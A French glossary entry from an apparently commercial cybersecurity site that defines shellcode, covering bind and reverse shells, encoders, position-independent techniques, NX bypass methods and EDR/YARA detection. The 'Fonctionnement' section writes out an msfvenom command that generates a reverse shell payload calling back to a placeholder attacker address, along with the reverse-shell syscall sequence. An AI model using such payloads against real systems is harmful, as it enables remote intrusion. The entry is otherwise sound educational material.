Aller au contenu principal
Expert Cybersécurité & IAv9.0
Centres de ressources conformité
Besoin d'un accompagnement expert ?
Devis personnalisé sous 24h — audit, conformité, incident
Checklists Sécurité — Audit & Durcissement
Formats disponibles
📄 PDF 📊 Excel 🌐 Web

11 checklists professionnelles couvrant 2 200+ points de contrôle. Téléchargement gratuit, aucune inscription.

Shellcode

hacking

Définition

Un shellcode est une séquence de code machine (opcodes en code hexadécimal) injectée dans la mémoire d'un processus vulnérable pour être exécutée lors de l'exploitation d'une vulnérabilité. Le terme 'shellcode' vient du fait que les premiers shellcodes visaient à ouvrir un shell (interpréteur de commandes), mais désigne aujourd'hui tout code machine injecté lors d'une exploitation. Les shellcodes se divisent en plusieurs catégories selon leur mode de communication : les shellcodes de liaison (bindshell) ouvrent un port TCP sur le système cible et attendent une connexion entrante de l'attaquant ; les shellcodes inverses (reverse shell) établissent une connexion TCP sortante vers l'attaquant (plus utile en pratique car les pare-feux autorisent généralement le trafic sortant) ; et les shellcodes locaux exécutent une action locale (créer un utilisateur, lancer un programme, exécuter une commande). Les contraintes sur les shellcodes varient selon le contexte d'exploitation : certaines vulnérabilités n'acceptent que des caractères ASCII imprimables (alphanumeric shellcodes), d'autres évitent les octets nuls (null-byte free shellcodes), certains doivent être très courts pour tenir dans un petit buffer. Ces contraintes nécessitent des encodages spécifiques : les encodeurs de Metasploit (shikata_ga_nai, xor encoder) transforment un shellcode arbitraire en un shellcode satisfaisant les contraintes tout en décodant automatiquement le payload original lors de l'exécution. L'écriture de shellcode est une discipline spécialisée de la programmation assembleur : le shellcode ne peut pas utiliser de liens vers des bibliothèques externes, ne connaît pas à l'avance les adresses mémoire, et doit être entièrement position-independent (PIC). Il utilise des call/pop tricks pour trouver son propre adresse, et des techniques de résolution dynamique de fonctions via le PEB (Process Environment Block) sur Windows ou la recherche de symbols via la GOT/PLT sur Linux. Des frameworks comme Metasploit (msfvenom) et pwntools simplifient la génération de shellcodes pour diverses plateformes et architectures (x86, x64, ARM, MIPS). Des tests locaux avec des débogueurs (GDB, x64dbg, WinDbg) permettent de valider le shellcode avant déploiement en conditions réelles.

Fonctionnement

Un reverse shell shellcode x64 Linux minimal effectue : 1) socket(AF_INET, SOCK_STREAM, 0) via syscall, 2) connect() vers l'attaquant:port, 3) dup2() pour rediriger stdin/stdout/stderr vers le socket, 4) execve('/bin/sh') pour lancer le shell. Ces syscalls directs évitent les dépendances vers des bibliothèques. msfvenom génère des shellcodes similaires : msfvenom -p linux/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=4444 -f c.

Exploitation offensive

Les shellcodes sont injectés via des vulnérabilités mémoire (buffer overflow, use-after-free, format string) dans la zone de données du processus (généralement non-exécutable avec NX/DEP). Des techniques de contournement NX (ROP, ret2libc, ROP pour appeler mprotect()) permettent de rendre la zone contenant le shellcode exécutable ou d'exécuter le shellcode via des gadgets ROP.

Détection et mitigation

Les EDR analysent les patterns de shellcode en mémoire (signatures, entropie élevée de code dans des zones de données). L'activation de NX/DEP empêche l'exécution directe de shellcode dans les zones de données. ASLR randomise les adresses pour compliquer l'ingénierie de shellcodes. Les scanners YARA détectent des shellcodes connus et des patterns caractéristiques (call/pop tricks, séquences d'opcodes de connexion réseau).

Articles liés

Un projet cybersécurité ?

Expert dispo · Réponse 24h

Devis